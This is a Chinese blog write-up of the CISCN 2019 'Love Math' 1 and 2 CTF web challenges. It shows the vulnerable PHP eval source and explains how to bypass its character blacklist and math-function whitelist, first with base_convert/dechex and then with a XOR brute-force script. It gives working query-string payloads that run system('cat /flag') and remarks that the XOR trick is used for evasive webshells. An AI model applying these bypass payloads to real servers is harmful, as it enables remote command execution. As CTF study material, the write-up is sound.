进制转换数学函数与PHP异或构造_GET之[CISCN 2019 初赛]Love Math1 2

Love Math1

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

知识点:

1.动态函数;

什么是动态函数;举例:
 

$a = "system"
然后
$a("whoami") = system("whoami")

2.进制转换函数;

hex2bin() 函数

hex2bin() 函数把十六进制值的字符串转换为 ASCII 字符。

base_convert()函数能够在任意进制之间转换数字。比如可以将10进制转化为36进制;为什么是36进制呢?36进制代表数字0-9和小写字母a-z;这里可以利用它来转化得到其他数字或者小写字组成的函数比如hex2bin();

dechex()将10进制转化为16进制;

上面是知识点了;开始利用解决这道题;

我们最终需要构造出;

system(cat /flag)

这个命令;为什么是这个呢?最后的eval万能函数,把这个名令传入进去就会得到

eval(system(cat /flag))   ;

直接输入是肯定不行的;

那么就可以使用动态函数来链接它;

$_GET['a']($_GET['b'])&a=system&b=cat /flag

但是白名单里面只能有那几个函数;

那么就需要使用那些函数来构造出_GET ;

首先想到用hex2bin();

16进制转化为字符串;

_GET的16进制是5f474554

但是这里有一个问题,有函数过滤掉16进制;那么就用dechex将10进制转化为16进制,5f474554的10进制是1598506324

所以现在就有hex2bin(dechex(1598506324))=_GET

但是hex2bin又不在白名单中;所以我们采用base_convert() 10进制转化为36进制构造hex2bin

hex2bin  的10进制为37907361743

所以base_convert(37907361743,10,36) = hex2bin

一套操作下来就有:

base_convert(37907361743,10,36)(dechex(1598506324)) = _GET

最后payload:
?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{exp})&abs=system&exp=cat /flag

详细参考:CTF -- [CISCN 2019 初赛]Love Math 1(php杂项)_Gh0st_1n_The_shell的博客-CSDN博客

 Love Math 2

<?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 60) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

这个比1少了转换字符的函数;那么就上终极大招:当然也可以直接用这个方法做第一题;

知识点:

PHP异或得到想要的字符串;很多的preg_match会过滤掉".",所以需要使用异或运算进行绕过,很多的免杀马都是这样制作的。php对字符进行异或运算是先将字符转换成ASCII码然后进行异或运算,并且php能直接对一串字符串进行异或运算,例如"123"^"abc"是"1"与"a"进行异或然后"2"与"b"进行异或,以此类推,在异或结束后就获得了想要的字符串。 

脚本:
 

<?php
//$payload = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh',  'bindec', 'ceil', 'cos', 'cosh', 'decbin' , 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];


$payload =['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];

for($k=1;$k<=sizeof($payload);$k++){
    for($i = 0;$i < 9; $i++){
        for($j = 0;$j <=9;$j++){
            $exp = $payload[$k] ^ $i.$j;
            if ($exp=='_G'||$exp=='_'||$exp=='_GE'||$exp=='_GET'||$exp=='E'||$exp=='ET'||$exp=='T'){
                echo($payload[$k]."^$i$j"."==>$exp");
                echo "\n";
            }
            //echo($payload[$k]."^$i$j"."==>$exp");
            //echo "\n";
        }
    }
}

 这个方法适用于第一题;看看运行结果:
 

is_finite^64==>_G
is_infinite^64==>_G
is_nan^64==>_G
mt_getrandmax^23==>_G
mt_rand^23==>_G
mt_srand^23==>_G
rad2deg^75==>ET
rand^75==>ET
tan^15==>ET
tanh^15==>ET
^00==>0

就可以利用这些来构造_GET ;

构造是需要注意,用 ‘ . ’来连接;

$pi=(mt_rand^(2).(3)).(tan^(1).(5));

//mt_rand^(2).(3)——>mt_rand^23==>_G

tan^(1).(5)——>tan^15==>ET

(_G).(ET)——>_GET

所以直接构造:
?c=$pi=(mt_rand^(2).(3)).(tan^(1).(5));$$pi{1}($$pi{2})&1=system&2=cat /flag

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值